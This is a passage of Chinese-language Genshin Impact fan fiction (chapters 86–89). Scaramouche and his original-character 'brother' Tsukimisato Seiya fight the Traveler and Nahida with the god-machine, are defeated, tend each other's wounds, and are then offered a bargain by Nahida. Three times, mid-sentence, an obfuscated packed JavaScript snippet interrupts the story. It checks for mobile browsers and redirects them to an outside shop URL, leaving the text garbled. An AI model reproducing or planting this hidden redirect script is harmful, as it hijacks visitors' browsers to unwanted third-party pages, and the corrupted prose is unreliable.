自动抽取能量的装置开始运作,那些能量沿着看不见的细丝供给正机之神,散兵操控着正机之神直起身,对着纳西妲说:“你应当知道智慧解决不了一切问题,你我之间,唯有战争这一个选择。” 话音刚落,在空与纳西妲惊愕的注视下,正机之神的巨掌已然拍下。无数裂痕如蛛网般蔓延,平台瞬间变得四分五裂,碎石不断下落。 紧接着,正机之神腰腹部的机械接口与下方机体完成对接,以一副更完美,更为压迫的形态展示在众人眼前。 而在平台崩塌的一瞬间,无相使就带着月见里清也轻轻一跃,灵巧地跃进正机之神的手掌中,跟他的神明一起,俯视着地上的空和智慧之神。 就如月见里清也所说,神明的诞生从来不会缺少战争,不管是魔神战争,还是现在正机之神与智慧之神的对峙。本质上都是多人抢一把名额固定的椅子,只有一人能够胜出。 从一开始,这场战争就根本无法避免。 86.抵达彼岸之前(其二) 平台崩塌的激起的尘土还未落下,散兵高据与正机之神的驾驶室之中,视线透过尘埃锁定位于地面上的渺小身影。 然而纳西妲的视线并未在正机之神身上过多停留,反而看向坐在无相使身上的月见里清也。 虽然散兵主动放弃融合信仰力量,但这并不代表月见里清也修改须弥民众记忆失败——须弥民众的记忆的确已经被篡改,此时此刻,在须弥民众眼中,位于正机之神体内的散兵,就是他们信奉的神明。 在纳西妲一开始的计划中,她原本打算利用虚空最初的用法,统合所有须弥民众的智慧,从无数可能性推演出正机之神的破绽。 但现在,这个计划已经行不通了,不论月见里清也是否知晓虚空的这一用法,他都精准的堵死了这个计划。 也就直说,从现在开始,她都必须依靠自己的力量与权能,为须弥,也为空和她自己,从这绝境之中寻求一线生机。 虚空系统页面在她的视线中展开,她能看到磅礴的能量从月见里清也身上强行抽出,沿着无数的导管,源源不断的涌入正机之神的核心之中。 “小心,他们已构成了一个完整的‘系统’,危险程度远超之前。”纳西妲声音依然十分冷静,但语气中却前所未有的凝重,“尤其是月见里清也,他是为神明提供能量的‘核心’,不阻断他,我们任何攻击都是徒劳的。” 空握紧手中的剑,指尖过于用力都有些发白,闻言重重点了点头。 就在他点头的这一霎那,正机之神毫无预兆的先发制人,手上两种元素力涌动,风元素与水元素咆哮着拧成一股涡流,轰然砸落。 空见状迅速回身揽住纳西妲和派蒙,周身萦绕着电弧,带着二人迅速离开原地。 在他们离开的下一瞬,原本立足之处已经被青蓝色元素风暴所吞没,发出震耳欲聋的响声,连带着地面都跟着震动。 避开这一击的空将二人安置在远处的断垣处,转眼正机之神的下一次攻击已经近在眼前。 无数雷光划破尘埃,如同陨星一样自空中坠落,紧追着空不放。与此同时,老实待在无相使身上的月见里清也右手凌空一挥。 多种元素力在地面轰然炸开,封锁了空所有闪避路线,然而空却并未退缩,借势一跃而起,落在正机之神的手臂上,直奔月见里清也而去。 但是还不等他攀至高处,一道银白色的身影自上而下扑来。无相使载着月见里清也一跃而下,利爪汇聚着澎湃的水元素重重劈下,空横剑格挡,水刃与剑刃相撞,激荡起漫天水雾,硬生生阻断了空的攻势。 无相使的体型与比正机之神相比本就小得多,在完整形态的就显得更为小巧,像一只穿梭与丛林中的狐狸,灵巧的穿梭于正机之神的手臂之间。 然而让空更为心惊的是,即使在与自己正面交锋,月见里清也仍控制着力度,那些水元素力在落到机甲上时瞬间化作了无数水雾,不会对正机之神造成一丝一毫的伤害。 两人之前并未以机体连接的状态战斗过,但此时却默契无比,月见里清也不断打断空的攻势,逼着空一次次改变路线,而只要空漏出一丝破绽,散兵的攻击就会紧随其后。 两人的配合如同经过千百次的训练,攻守交替间行云流水,毫无间隙。相比月见里清也和散兵之间的默契,孤身奋战的空显得格外狼狈与被动。 他的主要目标是切断月见里清也和散兵之间的连接,但也从未放弃攻击正机之神的机会。然而,在这对散兵和月见里清也天衣无缝的围攻之下,别说反击,就连在密集的攻势中保全自身都已拼尽了全力。 空避开正机之神的攻击后迅速变换路线,月见里清也跟在他身后紧随而至,准备再一次封锁他的退路。 “这样下去绝对不行……”派蒙在底下急得团团转。 就在这时,在她旁边的纳西妲突然开口:“空,注意我的标记。” 她说话声音不大,但却精准传入空的耳中,话音刚落,空的身侧突然绽放出由草元素勾勒而成的四叶印,一条生路瞬间铺开。 空抓住这转瞬即逝的机会,毫不犹豫纵身跃向离自己最近的四叶印,温和的草元素包裹住他,瞬间将他送至下一处印记前,终于甩掉了月见里清也的追击。 月见里清操控的无相使以灵活穿梭为特点,在速度上自然比不上四叶印的瞬移。空摆脱了被动挨打的局面,局势在这一刻终于向着另一侧倾斜。 “啧。”月见里清也眉头微皱,见追不上索性不追了,无相使载着他停在原地,歪头看向散兵,“他们知道是我在为你提供能量,所有攻击一定会先冲着我来。” 散兵抬起一只手臂引着无相使重新站在自己手中,闻言皱了皱眉,“又是以身入局的戏码?” 散兵的声音在月见里清也心中响起,他不可避免的想起上次梦境系统崩溃的事,刚想开口拒绝,但看着月见里清也望向自己的眼神,叹了口气说,“随你,注意安全。” 月见里清也嘴角勾了勾,眼神却突然锐利起来,静静地观察着四叶印出现的频率和位置。 果不其然,在两三秒后,在感知到草元素涌动的瞬间,月见里清也毫不犹豫,操控着无相使就向着那处扑过去。 银白色的身影从正机之神手臂上一跃而下,利爪向着空挥去,空勉强拧身避开这一击,然而下一秒流水重新化作藤木,牢牢锁死空的行动,拖着他一同坠地。 “清也!”正机之神驾驶舱内,散兵没想到月见里清也会突然跳下去,心下一紧,惊呼几乎脱口而出,担忧的情绪通过连接传入月见里清也心中。 但月见里清也暂时无暇顾及。 在落地的前一刻,月见里清也就离开了无相使,但机体连接并未断开,供应能量的导管限制住了他的行动,无相使便护在他身前。 青璃谭被他重新握在手中,月见里清也的视线扫过已经从重新爬起来的空,望向纳西妲。 二人视线交汇的一瞬间,月见里清也就知道,这点障眼法骗不过智慧之神。 供应能量的导管能够骗过普通人的眼睛,但要说纳西妲也看不到,月见里清也是不信的。 从纳西妲一开始跟空点明自己是能量“核心”,到引导空优先攻击自己,这一切都是试探。 倘若自己真的是正机之神的“弱点”,散兵怎么会容忍他以身犯险?这一切也都意味着纳西妲此刻早已意识到,那些看不见的能量导管才是真正的弱点。 那么,月见里清也的对策也只有一个。 他目光一凛,并未趁着这个机会再次发动进攻,而是单膝跪地将青璃谭刺入地面。 幽蓝色的花纹像活物一般以月见里清也的长刀为中心,疯狂向四周蔓延,逐渐覆盖了整个地面。 在花纹闭合的一瞬间,月见里清也手腕发力,持刀向右一拧,整个地面化作了波光粼粼的湖面,泛起阵阵涟漪,流水作的藤木顿时破水而出。 藤蔓并没有向着空和纳西妲冲去,反而顺着正机之神和无相使的机甲蜿蜒而上,最后汇入到二者能量供应的导管中,那些看不见的导管蓝光一闪,随后一同消失不见。 月见里清也抬头,刚因失血缓过来没多久的脸色又变得苍白,但眼神中却不见丝毫畏惧,冷静到让人害怕。 “看到了吗,他们彼此之间的连接。”纳西妲缓步走上前来,“他们的弱点并非彼此,而是被隐藏起来的能量导管。” “但月见里清也既然敢让我们有所察觉,必定准备好了后手。”空警惕着面前的月见里清也,提防他突然发难,一边对纳西妲说出自己的顾虑。 “所以,我们才需要它。”纳西妲却微微一笑,一旁的漂浮物飞至二人身旁,散发着柔和的光芒,“新式虚空终端收集了方才战斗的数据,它会将这些数据转化为知识,为你提供帮助。” 新式虚空终端核心光芒流转,一道无形的信息流瞬间链接到空的意识,正机之神与无相使之间短暂出现过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528987|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬的能量导管重现浮现在空的眼前,数不清的细丝被藤蔓包裹,散发着幽蓝色的暗淡光芒。 “我看到了。”空沉声道,说完迅速冲向月见里清也,试探着向他身后那些细丝攻去。但空的剑锋刚触及导管,一股水元素力从藤蔓上迸发,狠狠的将伤害尽数返还,将空逼退半步,手臂阵阵发麻。 而月见里清也借势翻身,稳稳地坐回无相使身上,“就如你所说,既然能让你们察觉,我会毫无防备吗?” 但他话音刚落,散兵的身心在他心中响起,带着几分强硬,“月见里清也,回来。” 空看着无相使重新落回正机之神的手臂上,想起导管上那层反伤的水元素力,心中难免有些焦急。 新式虚空系统能够帮助他预测无相使和正机之神的攻击,空靠着这个又一次避开月见里清也的攻击,反复尝试攻击能量导管。 而在多次攻击结束后,虚空系统再一次结合新的数据更新,那些缠绕在能量导管上的水元素在虚空的观测下不再是浑然一体,而是呈现出细微的能量流动,其中几个较为薄弱的“节点”被终端清晰地标记出来。 空心下了然,调转方向将充满能量的虚空系统对着那几个薄弱之处重重轰下。 这股能量和流水藤蔓抗衡着,最终吞噬了藤蔓的反伤,缠绕导管的幽蓝藤蔓接连破碎,失去保护能量导管开始一根根断裂消散。 虽然是为正机之神供能,但能量导管断裂的疼痛却是真实反馈到月见里清也身上。 “呃……”月见里清也闷哼一声,迅速转身回防,然而他刚开始行动,散兵的攻击就已经紧随而至。 然而空已经找到了破局之法,在虚空系统的预测之下,避开月见里清也和散兵的攻击,一路势如破竹。 随着能量导管不断脱落,反馈到月见里清也的伤害也越来越大,无相使与他感官同步,动作越来越迟缓。 最终随着大部分导管脱落,无相使的机体连接几乎中断,庞大的机甲如同一个断线的木偶,从高空坠下。 月见里清也这边出现情况,散兵自然不可能注意不到,但月见里清也在自己掉下去一瞬间就冲散兵吼道:“别管我!” 他当然不可能让自己直接摔地上,但散兵必须专注于眼前的空。 在无相使进行正机之神连接改造时,散兵跟卡斯珀提过保留正机之神上的能量储存装置。也就是说,即使月见里清也与他彻底断开连接,正机之神也不会失去能量供应。 从地面上冒出的流水轻柔的托住他,不合时宜的,月见里清也在这时突然想起青羽澈曾经对他说的话——“降神计划最后会以失败而告终”。 他们经历了那么多事,扫清了诸多阻碍,最后还是会败在神明手下,就如命运曾经向他们昭示的那样,会无数次的与“神”擦肩而过。 虽然他早已留下后路,但不到万不得已,月见里清也绝对不会启动那个计划。 月见里清也不信命,散兵也亦然。 眼下并非山穷水尽,还有最后一个办法。 “如果信仰力量融合完成,或许赢面还能大点。”月见里清也虽然这么说,语气中没有半分责怪。 在散兵给他治疗伤口的那一刻,他就知道散兵为什么放弃了融合,他们彼此心照不宣,于是月见里清也并没有点出来。 “少废话。”散兵的声音在他心中响起,带着一丝难以辨明的情绪,“你怎么样?” “没事,死不了。” 月见里清也说话一向如此,不管情况再怎么糟,好像在他那里,就算天塌下来都算不上什么大事。 可散兵总觉得,月见里清也语气有些不对劲。 月见里清也笑着叹了口气,抬起头,望向正机之神,视线仿佛穿透了机甲,与其中的散兵对视。 随后他看了一眼为数不多所剩无几的能量供应导管,“还记得我说过的吗,为了你,我可以付出‘一点’代价,哪怕这代价是我自己。” 87.抵达彼岸之前(其三) 听见月见里清也平静的语气,散兵心里一紧,知道他已经下定了决定。 “不行!”散兵的声音在月见里清也心中响起,厉声喊道,“我不允许……” 他话还没说完,空的凌冽攻势已至,强行打断了二人之间的对话。 月见里清也将目光从仅存的能量导管上移开,垂眸看向如同湖泊一样的地面,幽蓝色的花纹蛰伏在水面之下,透露出几分不同寻常诡异。 在卡斯珀给他看的最初的那版设计图中,他记得正机之神有一个不能轻易使用的招式,名为【刹那生灭·将至】。 月见里清也在恶补两个机甲的战斗数据时,注意到教令院没有这一招式的相关数据,一是因为发动这一攻击需要大量能量,二是因为这一招毁灭性太强,硬抗的话几乎没人扛得住。 “月见里清也,”散兵的怒火几乎化为实质,自连接那端透了过来,“你知道我要说什么,别让我说第二遍。” 往常只要散兵连名带姓的叫他,月见里清也不管在干什么都会停下手中的事,可这次,他却像聋了一样,对散兵的警告充耳不闻。 见月见里清也并未回应,而眼前的空又紧紧咬着自己不放,让他没法抽空处理那个不听话的混账东西,两种情绪一交加,散兵心中的怒火越烧越旺,但在这怒火之中,还夹杂着心慌和后怕。 “哥哥,”月见里清也缓步走到花纹的中心点,他曾经将长刀刺入地面的地方,垂眸浅笑道,“其实咱们都很像,决定了的事都不会轻易改变。” 他说着顿了顿,想再次抬眼看一次散兵,但最后还是忍住了,轻声说:“抛弃过往诞生的神明啊,你忘了我也是‘过往’了吗?” 这话轻的像一声叹息,但不管是从月见里清也口中说出,还是落在散兵心里,对二人而言却重得如一块巨石。 月见里清也话音刚落就自己断开了与无相使的的机体连接,仿佛迟一秒自己就会开始犹豫,连同散兵那边传来的话语全部隔绝在外。 按照他的计划,他可以强行拖着空来到地面,一同承受这一击。倘若【刹那生灭·将至】的威力足够巨大,在地面上的人将会无一幸免,就能彻底锁定局势。 月见里清也不知道自己能否在这之中活下来,他常说自己很惜命,可是现在,他更想去赌一个很小的成功性。 因为他想让他的月亮常悬于高天之上,所以甘愿成为新神的最后一个台阶。 月见里清也心里的这番想法自然不会传入散兵耳中,他知道自己这一决定很冲动,也很疯狂,但别无选择。 他深吸一口气,毫不犹豫的重新将长刀刺入地面。 整个湖面剧烈一颤,安静蛰伏的幽蓝花纹顿时光芒大作,无数的能量从月见里清也的核心涌出,顺着他的刀注入花纹之中。 花纹开始疯狂向着正机之神蔓延,钻入正机之神的能量储存装置之中,将能量全部注入。 正机之神的异常迅速引起了散兵的注意,飙升的能量即将突破安全阈值,可这些覆盖在机甲上的诡异花纹无法被彻底清除,除非月见里清也自己停下,否则他只能被动接受这份力量。 而月见里清也的目的,就是强迫自己启动那一招。 可是不该这样,他曾不止一次抛弃过往,但月见里清也绝对不在他对“过往”的定义里,也从来不在他可以舍弃的名单里。 是选择成为放弃过往的“神”,还是选择放弃未来选择拥有现在的“人”。月见里清也知道他难以抉择,所以用这种方式替他做了决定。 月见里清也的决心散兵并非不懂,正是因为他懂,所以他才会愤怒、恐慌。 散兵冲着空狠狠一击,将他向着地面重重轰去。如此同时,月见里清也身影未动,手腕向左一转,藤蔓再次破水而出,缠住在半空中的空猛地掼向地面,接着柔软的藤蔓化作荆棘,连同自己在内,牢牢限制住地面上所有人的行动,确保没有人能够躲得过这一击。 正机之神则向着空中一跃,悬停在半空中,一股巨大的雷元素洪流在他手上疯狂集聚,难以言喻的神明威压自空中向着地面上的众人压下来。 威压和四周过量的雷元素压得月见里清也心里一颤,右肩的伤口在重压之下不出意外再次崩裂,传来针扎似的痛感,但他以及顾不得这些了。 月见里清也现在唯一能做的,就是用左手死死扣住颤抖的右手,确保不会因颤抖而松开刀柄。无论如何,在这一击落下之前,他都不能松手。 另一边,被荆棘困住行动的空不用纳西妲提醒,瞬间意识到了想要拦下散兵的这一击必须中断月见里清也的供能。 他奋力挣断困住自己的荆棘,飞身冲向月见里清也。 在剑刃即将刺中月见里清也的前一刻,悬在众人头顶上的雷元素洪流轰然坠落。 时间在这一刻仿佛被无限拉长,月见里清也不在乎空的剑刃到了何处,他或许下一秒就能刺中自己,但没关系,结局已定。 然而就在这千钧一发之际,意料当中的疼痛并未到来,月见里清也察觉到腰上不知被什么东西缠住,他刚低下头,只见无数细丝狠狠一收,以接近粗暴的力道将他整个人从毁灭中心点甩飞出去。 “唔!”月见里清也被甩到边缘地带,即使他即使他下意识做了防护,却还是被摔地眼前一黑。 在他彻底失去意识之前,他看着刹那生灭落下,足以泯灭一切的雷光瞬间吞噬了地面上的幽蓝荆棘,接着无边的的黑暗蔓延上来,彻底失去了意识。 选择成为神明,还是继续以人偶的身份活下去,在今日之前,散兵会毫不犹豫的选择前者。 他或许也没想到有一天他会做出截然相反的决定。 看似危机巨大的刹那生灭的充能其实并未完成,散兵提前中断了充能,又趁着它落下的间隙,用牵丝捆住月见里清也,将他扔到受到伤害较小的边缘地带。 也因为一心二用,刹那生灭的落点和危机都不足,原本能够锁定战局的招式,变成了他暴露的弱点。 他无法放弃现在,所以也就无法拥有他渴望的那个未来。但奇怪的是,在正机之神也跟着崩溃的那一刻,散兵回想起来方才的决定,竟然一点也不觉得后悔。 陷入短暂昏迷的月见里清也就是在这时回复意识的,因为被扔到边缘地带,他没有受到多大的伤害,但一睁眼眼前全是一片混乱的紫色电光,看什么都模糊不清。 短时间接触大量雷元素或长时间处于高浓度雷元素环境都会出现这类症状,月见里清也并未惊慌,只是眼前什么都看不清的滋味着实有些恼人,他下意识想找散兵的身影。 但他刚一抬头,一把利刃悄无声息地贴上了他的脖颈,警告他,“别动。” 月见里清也听出来这是空的声音,眉头一皱,心脏仿佛被一只无形的手攥住。 空怎么还能活着? 退一万步来讲,就算他没死,不应该伤的和自己一样重吗?怎么还能好端端的站在自己面前? 是草神出手救了他?那是否意味着…… 思及至此,月见里清也顾不得架在脖子上的利刃和身体的疼痛,挣扎着想要起身。 眼前模糊一片看不清,他忍着身体不适强行开启元素视野,见自己还身处降神工坊内,远处还能看见那个模糊的身影,心中顿时松了口气。 这口气一松,疲惫感如同排山倒海一般袭来,他靠坐在墙壁上,“如你所见,我现在这幅样子……对你来说已经毫无威胁了吧,不用这么提防着我。” 倘若他眼睛还能看得清,此时就能注意到空一副一言难尽的模样,在他一旁的派蒙不可置信道:“你难道就不疼吗?” “什么?”月见里清也被问得一愣。 “你还是先关注一下自己吧,你哥情况比你好多了。”空的语气颇为复杂。 “看不见。”提起这个,月见里清也也有点烦,“接触过量雷元素,暂时瞎了。” 在最后的千钧一发之际,纳西妲为空、自己还有派蒙提供了保护,空和派蒙暂时还没有这种情况。 在他们眼中,月见里清也半靠在墙边坐着,右肩和腰腹伤口重新撕裂,殷红的血迹浸湿了衣服,已经看不出他原先的那件外搭是什么颜色了,不断往外渗的血又慢慢在地上汇集成一个血泊。 透支力量和失血导致月见里清也的脸色比白纸都白上几分,加上他看不见东西有些迷离的眼睛,好像随时随地就准备撒手人寰了。 “你……你别死啊,谁知道你死了散兵会不会做出什么冲动的事来。”派蒙说。 剧烈的疼痛早已超越自身承受的状态,转而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“弱小”、“不坚定”、“人偶”……这些他曾倾尽一切想要挣脱的标签,此刻如同最恶毒的诅咒,在他耳边回响着。这么多年来所经历的一切事,都是为了摆脱这些,摆脱那个弱小的自己。 他不可能,也绝不会回到过去! 强烈的不甘自心底蔓延,他试图挣脱着囚禁着他的金属牢笼,想要拿回那本该属于他的东西。 身后的导管绷紧到极致,撕扯着与接口相连的皮肉,但散兵什么都感受不到,他看着神之心离自己的手越来越远,最后被纳西妲紧握在手中。 这画面就像一击重击,重重敲在散兵紧绷的神经上,耳中轰鸣一片。与此同时,身后的导管终于因他的反抗而撑到极限,开始接连崩断。 正机之神崩溃时的故障都通过导管反馈到散兵的精神之上,导管断裂时的疼痛也不例外,可他像没有知觉一样任由剩下的导管继续崩断,身体不断下滑,如同折断双翼的飞鸟,眼看就要从高空往下坠落。 可意料当中的冲击并未到来,在撞上冰冷的地面上之前,他先落入一个温暖又带着血腥味的怀抱之中。 月见里清也也不知道自己是怎么冲上来的,在看到散兵马上要从正机之神上摔下来时,他的大脑一片空白,身体比意志先做出了反应。等到他回过神时,自己已经跃至半空中,将那个下坠的身影接入怀中。 然而月见里清也并不像平日那样游刃有余,在高空中接住一个人所带来的冲击力又加重了他右肩的伤口。 伤口处传来一阵清晰的撕裂声,仿佛整条臂膀都要沿着伤口被彻底撕扯下来,剧烈的疼痛让他几乎无法思考,只能凭着本能牢牢护住散兵,在坠地的前一刻将自己垫在底下。 后背与地面猛烈撞击的闷响传来,所有的空气仿佛都在这一瞬被强行从肺里挤压了出去。 月见里清也眼前一黑,喉间涌上一股强烈的腥甜味,又被他死死咽下。 他能清晰地感觉到温热的血液正从右肩和腰腹的伤口不断涌出,冰冷与麻木感觉顺着四肢向上蔓延。 但在月见里清也的视线被黑暗彻底吞没之前,察觉到被他护在怀里的散兵似乎动了一下。 ……还好,接住了。 88.一切落幕的终章 以月见里清也现在的伤势,换到任何一个普通人身上都是致命的。还好托这副非人之躯的福,月见里清也死不了,没过多久他就从醒来了过来。 但他并非自主苏醒,而是硬生生疼起来的。 有什么东西淋在他右肩的伤口上,随后泛起灼烧一般的剧痛,他下意识就想躲开,但随后被人死死按住,“你要是不想要你的右胳膊,以后再也拿不起刀,就不要乱动。” “没那么严重。”月见里清也听出这声音是谁,放松身体让卡斯珀继续处理伤口,他的眼睛还是看不清东西,于是开口问道:“我哥呢?” 他刚问完,就感觉到脸颊被一只手轻轻托起,“在这。” 月见里清也仰着脸,疑惑道:“你要干吗?” “给你上药,睁眼。”散兵说着将手里的药剂滴入月见里清也的眼中。 卡斯珀缝合伤口的动作没停,冷嗖嗖地来了一句:“你还记得你也是病号吗,大人?” 散兵充耳不闻,权当没听见。 反倒是月见里清也,闻言立马追问:“你伤怎么样了?” 卡斯珀翻了个白眼,将月见里清也伤口缝合好,利落地打结剪线,接着把散兵手中的药瓶拿了过来,“去去去,病号都给我坐着休息去,别添乱。” 散兵鲜少有被人嫌弃的时候,抱着胳膊杵在一旁,神色不虞。一旁的青羽澈见状哼笑一声,听上去心情还不错。 散兵冷眼瞪了他一眼,转头问卡斯珀,“你们那边的事处理的怎么样了。” 他问的自然是关于虚假核心蒙骗博士一事,在空和纳西妲杀进降神工坊之前,他和月见里清也接受了青羽澈的提议,最后由青羽澈带着卡斯珀去执行计划。 当然,卡斯珀只负责通过工坊里的系统寻找博士的身影,最后和博士对峙的只有青羽澈一人。 “虽然你没说出口,但我要再说一遍,那不是仿制品。”青羽澈说着冲月见里清也扬了扬头,“至于结果,他现在还好端端的坐在这,这足以说明结果了。” 但月见里清也的情况和“好端端”差了十万八千里,散兵的视线除了一开始瞪青羽澈的那一眼,就没从月见里清也身上移开过。听见博士那边暂时没事,散兵悬着的心松了大半,暂时没心情顾及其他。 卡斯珀看着他这幅样子叹了口气,将干净的绷带放进散兵手里,叫了青羽澈一声,看向门外。 在一切都尘埃落定之后,卡斯珀和青羽澈赶来时,工坊里已经不见空和纳西妲的身影,只剩散兵和月见里清也浑身是血的躺在血泊里一动也不动。 老实说,看到这一幕的时候,卡斯珀差一点一口气没上来,连带着心脏都要跟着停跳,连滚带爬地扑过去,抖着手去探他们俩的呼吸。 但不幸中的万幸,二人只是受伤太重陷入昏迷。 散兵机体连接接口全部扯断,后背皮开肉绽,没有一块好的地方,正机之神崩溃估计对精神影响也很大,但卡斯珀手头没器械,暂时无法检查;至于月见里清也的情况更糟,两处伤口全部撕裂,右肩烂的简直不成样子。 他和青羽澈把两人带回月见里清也之前休养的医务室,散兵的伤势比月见里清也轻一点,醒的也早。但醒来后他也不说话,处理伤口的时候也不吭声,就那么盯着月见里清也看,好像不盯着,这么一个大活人就会跑了一样。 直到月见里清也醒过来,散兵才有了那么一点活过来的感觉。 卡斯珀不知道在那场战斗里发生了什么,但他知道,现在最好给他们两个一个独处的空间。 医务室的大门被卡斯珀带上,室内只剩下他们二人,滴进眼睛里的药剂正在缓缓起效,月见里清也现在能勉强看清一些东西,他眯着眼看向散兵,张了张嘴,却又不知道该说什么。 该说什么呢? 为自己最后的孤注一掷道歉?还是质问散兵为什么最后要救他?还是询问接下来他们要怎么办? 最后千万万语在他嘴里终究变成了一句,“哥哥。” 散兵轻轻“嗯”了一声,将绷带在月见里清也的伤口上仔细缠好。 月见里清也顿了顿,垂下目光说:“……对不起。” “为什么要道歉?”散兵给绷带打结的手停顿片刻,无声的叹了口气,随后若无其事的继续手上得动作,打了一个平整的结。 月见里清也没回话,但散兵也知道他想说什么。一是因为最后的孤注一掷,二是因为降神计划的失败。 可这些,对散兵来说已经不重要了。 从正机之神上坠落时,散兵的意识就已经开始昏沉了,在精神和身体的双重重创之下,确实很难保持清醒。 但他不是完全丧失意识,他知道最后是月见里清也扑过来接住了自己,知道鼻尖那股挥之不去的血腥味是月见里清也身上的伤口又重新裂开,也知道落地时是月见里清也给自己做了缓冲。 可是在摔下去的那一刻,他自己的精神也达到了极限,几次想撑起身体给月见里清也伤口止血,但他尝试了一遍又一遍,最后都只能以失败告终。 散兵只能看着自己手上重新沾满月见里清也的鲜血,就像一百年前的深渊遗迹里的那样,可这一次他无比清楚的意识到,自己救不了月见里清也。 尽管位于边缘,可散兵也不确定刹那生灭对月见里清也造成的伤害有多大,他强撑着精神不敢昏过去,他怕醒过来再也无法看见月见里清也。 直到这时他才明白过来,和月见里清也相比,神之心甚至都不算什么。 如果这时候来个人告诉他,自己可以救他的弟弟,代价是用神之心来换,恐怕他会毫不犹豫的同意。 可惜直到他意识坠入黑暗的前一刻,都没有一个这样的人来和他做这个“交易”。 “我不需要你道歉,清也。”散兵开口,“你做了当下最正确的选择,我也做了一个哥哥该做的选择,谁都没有错。” 他说着顿了顿,轻轻揉了揉月见里清也的头发,“你只要能活着,没有比这个更好的结果了。” 月见里清也紧绷的身体渐渐放松,嘴角泛起一抹笑意,“这对我来说也是。” 然而下一秒散兵话锋一变,“只是,有些事情,我不需要你来替我背着。” 月见里清也笑容一顿,几乎立刻反应过来他要干什么,只是二人距离太近,月见里清也根本反抗不了。 散兵将藏在衣袖里的一节牵丝拿了出来,一端缠在自己指尖,另一段绕过月见里清也,扎入他的后颈皮肤之中。 “不行,这些事情都是我策划的,跟你无关。”月见里清也右手不能动,只能靠左手去扯那根细线,但还不等碰到就被散兵扣住手腕。 “安分点,右手真的不想要了?”散兵沉声道,“我知道这些都是你策划,但是清也,你把我摘得太干净了,我又不是什么好人,你觉得他们会信这一切都与我无关?” “但这也不是你把罪名全揽过去的理由。”月见里清也咬牙道。 散兵没有理会他的抗议,过了片刻后说:“是你自己替换记忆,还是要我动手?” 月见里清也猛地抬头,直视着散兵的眼睛,一字一顿道:“不、可、能。” 散兵看着他,手指轻轻一动,牵丝立刻控制月见里清也的语言中枢,逼着他将虚空权限转移的密钥说出口。 这就是散兵留给月见里清也的后路,和他修改须弥民众认知类似,只不过是将这些事幕后主使从月见里清也替换成自己而已,改动不大,不会对民众造成什么不良后果。 “你不该把密钥给我的。”散兵说着,将手里的虚空终端打开,转移权限的页面已经弹了出来。 倘若散兵不知道密钥,眼下牵丝只剩这一条,他没办法强迫月见里清也回忆起密钥并将它说出口。但月见里清也已经提前将密钥给了他,他现在需要做的就是让月见里清也确认密钥而已。 “混蛋……我给你密钥,不是让你……干这个的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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打开房门的不是别人,正式处理完后续之事,去而复返的纳西妲。 她的目光在月见里清也和散兵身上稍作停留,落在散兵刚刚收起虚空终端的手上,“看来,我似乎打扰了二位的‘交谈’。” 纳西妲的声音一如既往的温和,但却让气氛陡然紧绷起来。 散兵不动声色的往前走了半步,以一种保护的姿态将月见里清也挡在身后,语气带着一贯的嘲弄,“智慧之神终于想起来要清算我们的罪过了?” 月见里清也靠在床头,抿紧嘴唇,左手下意识攥紧床单,沉默地注视着纳西妲。 纳西妲微微摇头,绿色的眼眸中看不出喜怒,“罪行?这个词很有趣。” 她缓缓踱步,看向月见里清也,“篡改全体须弥民众的认知,将虚假的历史与信仰植入他们的脑海;利用虚空系统,将整个国度作为你们宏大计划的试验场;在降神工坊,意图以毁灭性的力量抹除异己。” 纳西妲每说出一项,散兵的眼神就冷上一分,月见里清也攥紧床单的手缓缓松开,无声地松了口气。 还好,最后承担这一切的还是自己。 “从任何角度来看,你们做的一切在须弥所造成的伤害和动荡都是毋庸置疑的。”纳西妲下了结论。 散兵嗤笑一声,已然做好了最坏的准备,“所以,你是来宣判的?” 然而,纳西妲的视线扫过二人身上的伤,话锋却陡然一转,“以二位目前的状态,谈论任何形式的处置,都为时过早。” 散兵和月见里清也一愣,像是没到她会这么说。 “在那之前,二位不妨先在须弥养伤,这里会是你们的容身之所。”纳西妲说。 就算不着急处置他们,那也不会给他们安排住所,月见里清也和散兵看着纳西妲后续一系列的安排,都琢磨不透这位智慧之神背后的目的是什么。 这猜不透的形式手段也让二人无法安心养伤,就这么心神不宁的过了几天之后,纳西妲终于有了关于怎么安排他们的打算。 可这次下来的也并非处置,而是一个更让人费解的交易——带着空进入世界树寻找关于他血亲的线索。 89.那些尘封的过去(其一) 进入世界树对散兵和月见里清也来说并非什么十分困难的事,虽然他们在世界树和虚空里的权限已经被纳西妲所封锁,但好歹还剩下一点,只是进入世界树的话足够用了。 “草神不是自己也能进入世界树吗,为什么要我们带他进入?”月见里清也靠在窗边看着外面的街景,有些不解道。 “不知道。”对于这位草神行事,散兵也看不明白,他手上拿着药,示意月见里清也坐过来。 他们现在住的房子还是之前教令院为他们安排的住处,本着阶下囚的身份,二人也从未提过什么要求,可如今对纳西妲的态度越发猜摸不透。 好像并没有要严惩他们的意思,可他们也十分确定纳西妲此举也绝非完全出于善良与仁慈。 既然暂时想不明白,月见里清也索性也不想了,老老实实坐在散兵身旁等着他给自己换药。 月见里清也右肩伤的很重,但治疗还算及时,又得益于这两天没怎么活动和自身的恢复速度,不会留下什么后遗症,再养个几天就能好。 散兵给他换好药,将绑带重新缠好,才开口说:“这次我去,你在家休息。” 